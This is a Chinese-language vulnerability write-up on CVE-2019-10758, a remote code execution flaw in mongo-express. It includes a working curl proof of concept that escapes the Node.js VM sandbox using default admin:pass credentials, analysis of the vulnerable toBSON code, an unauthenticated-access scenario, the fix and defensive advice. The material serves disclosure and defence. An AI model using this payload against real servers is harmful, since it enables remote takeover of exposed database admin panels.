CVE-2019-10758:mongo-expressRCE复现分析
字数 1248 2025-08-26 22:11:51
MongoDB-Express RCE漏洞(CVE-2019-10758)分析与复现指南
漏洞概述
CVE-2019-10758是MongoDB-Express(一个基于Web的MongoDB管理界面)中的一个远程代码执行漏洞,影响版本为0.54.0之前的所有版本。该漏洞允许攻击者通过精心构造的请求在服务器上执行任意代码。
漏洞环境搭建
方法一:本地搭建
- 从官方仓库克隆mongo-express:
git clone https://github.com/mongo-express/mongo-express.git - 安装依赖:
npm install - 启动未授权的MongoDB服务端
方法二:使用Docker
docker run -it --network host mongo-express
漏洞复现
基本POC
curl 'http://localhost:8081/checkValid' \
-H 'Authorization: Basic YWRtaW46cGFzcw==' \
--data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'
解释说明
Authorization: Basic YWRtaW46cGFzcw==:默认凭证(admin:pass)的Base64编码document参数:包含恶意JavaScript代码,通过原型链污染和VM逃逸执行系统命令
漏洞分析
漏洞触发点
- 路由
/checkValid对应的方法在lib/routes/document.js中 - 该方法调用了
toBSON函数处理输入 toBSON函数将输入放入VM沙箱中执行
关键代码分析
// lib/routes/document.js
exports.toBSON = function (string) {
var sandbox = exports.getSandbox();
string = string.replace(/ISODate\(/g, 'new ISODate(');
string = string.replace(/Binary\("([^"]*)",/g, 'Binary(new Buffer("$1", "base64"),');
vm.runInNewContext('doc = eval((' + string + '))', sandbox);
return sandbox.doc;
};
漏洞原理
- 攻击者通过
this.constructor.constructor访问到Function构造函数 - 绕过VM沙箱限制,获取Node.js的
process对象 - 通过
require加载child_process模块执行系统命令
认证机制分析
认证流程
-
启动参数决定认证方式:
- 使用
-u和-p参数:config.useBasicAuth = false - 不使用参数:
config.useBasicAuth = true(默认)
- 使用
-
认证中间件(
basic-auth-connect)会检查请求头中的Authorization字段
未授权场景
当以CLI形式启动服务并指定数据库用户名密码时(-u和-p参数),认证中间件不会被加载,攻击者可以直接利用漏洞而无需提供认证信息。
修复方案
官方在0.54.0版本中:
- 移除了
bson.js中的vm依赖 - 改用
mongo-query-parser进行解析
修复commit: https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2
防御建议
- 立即升级到最新版本的mongo-express
- 不要将mongo-express暴露在公网上
- 使用强密码并启用认证
- 考虑使用环境变量而非命令行参数配置敏感信息
扩展知识
VM逃逸技术
该漏洞利用了Node.js VM模块的沙箱逃逸技术。VM模块虽然提供了隔离的执行环境,但通过原型链污染仍可能逃逸出沙箱。
其他潜在攻击点
文档中提到另一个需要验证数据库和表名的BSON注入点,虽然利用条件更严格,但在存在local库和start_log集合的情况下仍可能被利用。